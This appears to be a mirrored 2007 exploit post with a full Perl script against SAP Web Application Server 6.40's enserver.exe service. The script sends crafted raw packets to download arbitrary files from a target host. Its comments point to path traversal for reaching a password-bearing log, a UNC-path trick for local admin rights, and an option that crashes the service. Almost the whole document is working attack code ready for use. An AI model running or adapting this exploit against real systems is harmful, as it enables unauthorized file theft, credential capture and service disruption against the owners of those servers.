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SAP Web Application Server 6.40 Arbitrary File Disclosure Exploit
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来源：www.vfocus.net 作者：Nicob 发布时间：2007-02-09
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#!/usr/bin/perl -w
##
## SAP 'enserver.exe' file downloader
## Tested on "SAP Web Application Server Java 6.40" (eval DVD)
## Found & coded by Nicob
##
## The downloaded file is limited to the first 32 kilobytes
## Usual port : TCP/3200+SYSNR
## Exemple : ./r3-stealer-1.0.pl 192.168.2.22 3201 "c:\\boot.ini"
##
## From MSDN (Win2K pre-SP4, WinXP pre-SP2 and WinNT) :
## "\\\\your_box\\pipe\\your_pipe" => get Local Admin (SAPServiceJ2E)
## http://msdn.microsoft.com/library/default.asp?url=/library/en-us/secauthz/security/authorization_constants.asp
##
## File parameter :
## C:\boot.ini
## \\10.11.12.13\share\image.jpg
## ..\..\..\..\..\..\Documents and Settings\All Users\Application Data\sapdb\wa\httpreq.log (contains passwords !)
##
# Init
use strict;
use IO::Socket;
my $verbose = 0;
# Set this to anything not null to crash the process
my $crash = "";
my $socket;
my $reply;
$|=1;
# Get arguments
if (($#ARGV<2) or ($ARGV[0] eq "-h")) {die "Usage: $0 <ip> <port> <remote filename> (<local filename>)\n";}
my $host=$ARGV[0];
my $port=$ARGV[1];
my $filename=$ARGV[2];
my $output=$ARGV[3];
# Calculate variables
my $lg = length($filename);
my $tag1 = sprintf('%x', 0x4F + $lg);
my $tag2 = sprintf('%x', 0x20 + $lg);
# Show banner
print "#####################################################################\n";
print "### SAP 'enserver.exe' file downloader\n";
print "### Downloading '$filename' from '$host'\n";
print "#####################################################################\n\n";
# Define the packets
my $packet1 =
"0000005dabcde123000000000000005d0000005d06010000000000060000000000040000000000010004000000000003". # Static
"5f6e69636f625f6e69636f625f6e69636f62315f". # ASCII string : "_nicob_nicob_nicob1_"
"00000000020000003b0000000500000002000000060000000400000001"; # Static
my $packet2 =
"000000". $tag1. "abcde12300000001000000". $tag1 ."000000". $tag1 .
"03000000454e430001010000234541410100000013030000000000234541450001000000". $tag2 .
"0000000000007d00000000000000000000000000". unpack("H*",$filename) . $crash ."000023454144"; # Crash if bad filename length
# Create the socket
$socket = IO::Socket::INET->new(Proto=>"tcp",PeerAddr=>$host,PeerPort => $port)
|| die "Connection refused at [$host:$port]";
# Send the two packet
print $socket pack("H*",$packet1);
print $socket pack("H*",$packet2);
sleep 2;
# Read and display response
recv($socket,$reply,150000,MSG_PEEK);
if ($reply =~ /^(.*)#EAD(.*)$/s) {
print "File received !\n";
if ((!defined($output)) or ($output eq "")) {
print "\n===========================================\n";
print $2;
print "\n===========================================\n";
} else {
open(OUT, "> $output") || die "Can't open $output ($0)";
print "File saved as '$output'\n";
print OUT $2;
close(OUT);
}
} else {
print "Problem interpreting reply :-(\n";
}
# Close the socket
print "\nThe end ...\n";
close $socket;
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